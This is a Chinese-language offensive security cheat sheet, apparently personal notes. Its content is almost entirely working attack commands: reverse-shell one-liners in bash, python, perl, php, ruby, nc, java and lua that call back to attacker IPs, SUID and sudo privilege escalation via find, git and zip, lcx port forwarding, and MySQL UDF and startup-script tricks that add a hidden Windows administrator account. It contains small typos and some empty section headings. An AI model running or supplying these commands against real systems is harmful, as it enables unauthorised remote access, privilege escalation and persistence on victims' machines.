netcat反彈shell
kali中使用nc(netcat)進行監聽 用法 : nv -lvvp 2333(端口號)
靶機中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同樣可以寫成一句話木馬進行反彈shell。
命令提權
1、使用suid提權,找到一個屬於root的具有s權限的文件;s是提權符
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
例如:在DC-1中,首先touch新建一個文件,然后執行
touch abcd
find abcd -exec whoami \;
find / -name abcd -exec "/bin/sh" \; #分號需要轉義,find以分號結尾
具有提權功能的Linux可執行文件包括:
nmap
vim
find
bash
more
less
nano
cp
python反彈shell
#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻擊機IP地址","攻擊機監聽端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
其他一些方法
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
git提權
sudo -l 查看具有sudo執行權限的命令
sudo git -p help或者 sudo git help config
!/bin/bash
zip提權
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
tar提權
收集信息:
內外網
服務器系統和版本 位數
服務器的補丁情況
服務器的安裝軟件情況
服務器的防護軟件情況
端口情況
支持腳本情況
信息收集常用命令:
Windows:
ipconfig /all
net user
netstat -ano
ver
systeminfo
tasklist /svc
taskkill -PID pid號
taskkill /im qq.exe /f
net user test 123456 /add
net localgroup administrators test /add
whoami
CMD無法執行
1、防護軟件攔截
2、CMD被降權
3、組件被刪除
找可讀寫目錄上傳cmd.exe,將執行的cmd.exe路徑替換成上傳的路徑
查找3389端口
1、注冊表讀取
2、工具掃描
3、命令探針
端口轉發
lcx
網站服務器是內網IP:192.168.2.3
外網服務器IP是:192.168.80.151
在內網服務器上執行的lcx命令是:lcx.exe -slave 192.168.80.151 51 192.168.2.3 3389
在外網服務器上執行的lcx命令是:lcx.exe -listen 51 3389
數據庫提權
MSSQL提權:安裝組件--->開啟3389---->創建用戶------>提升權限------>完成
Mysql提權:
1、udf提權
獲取到對方數據庫用戶root的賬號密碼
查看網站源碼里面數據庫配置文件(common,config.php,common.inc.php,data)
查看數據庫的配置文件
暴力破解、mysql密碼破解、3306端口入侵
udf提權原理:
通過root權限導出udf.dll到系統目錄下,可以通過udf.dll調用執行cmd
導出到\lib/plugin\安裝目錄下
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user test 123456 /add');
select cmdshell('net localgroup administrators test /add');
drop function cmdshell //刪除函數
2、啟動項提權
1、查看我們進入數據庫中有什么表
show tables;
默認情況下,test中沒有任何表的存在
關鍵部分:
2、在test數據庫下創建一個新的表
create table a(cmd text);
表名為a,字段名為cmd,為text文本
3、在表中插入數據
insert into a values ("set wshshell=createobject(""wscript.shell"")");
insert into a values ("a=wshshell.run(""cmd.exe /c net user test 123456 /add"",0)");
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup Administrators test /add"",0)")
雙引號和括號以及后面的0一定要輸入,用這三條命令建立一個vbs的腳本程序!
4、查看數據表
select * form a;
5、輸出表為一個vbs的腳本文件
select * from a into outfile "c://開機菜單//啟動//a.vbs";
6、重啟
3、mof提權
Windows提權:
開啟3389
使用批處理文件開3389
使用sql語句開3389
使用exe開3389
使用vb開3389
使用wireshark或cain嗅探3389獲取賬號名和密碼
Linux提權:
uname -r 查看內核版本信息
找到對應版本的exp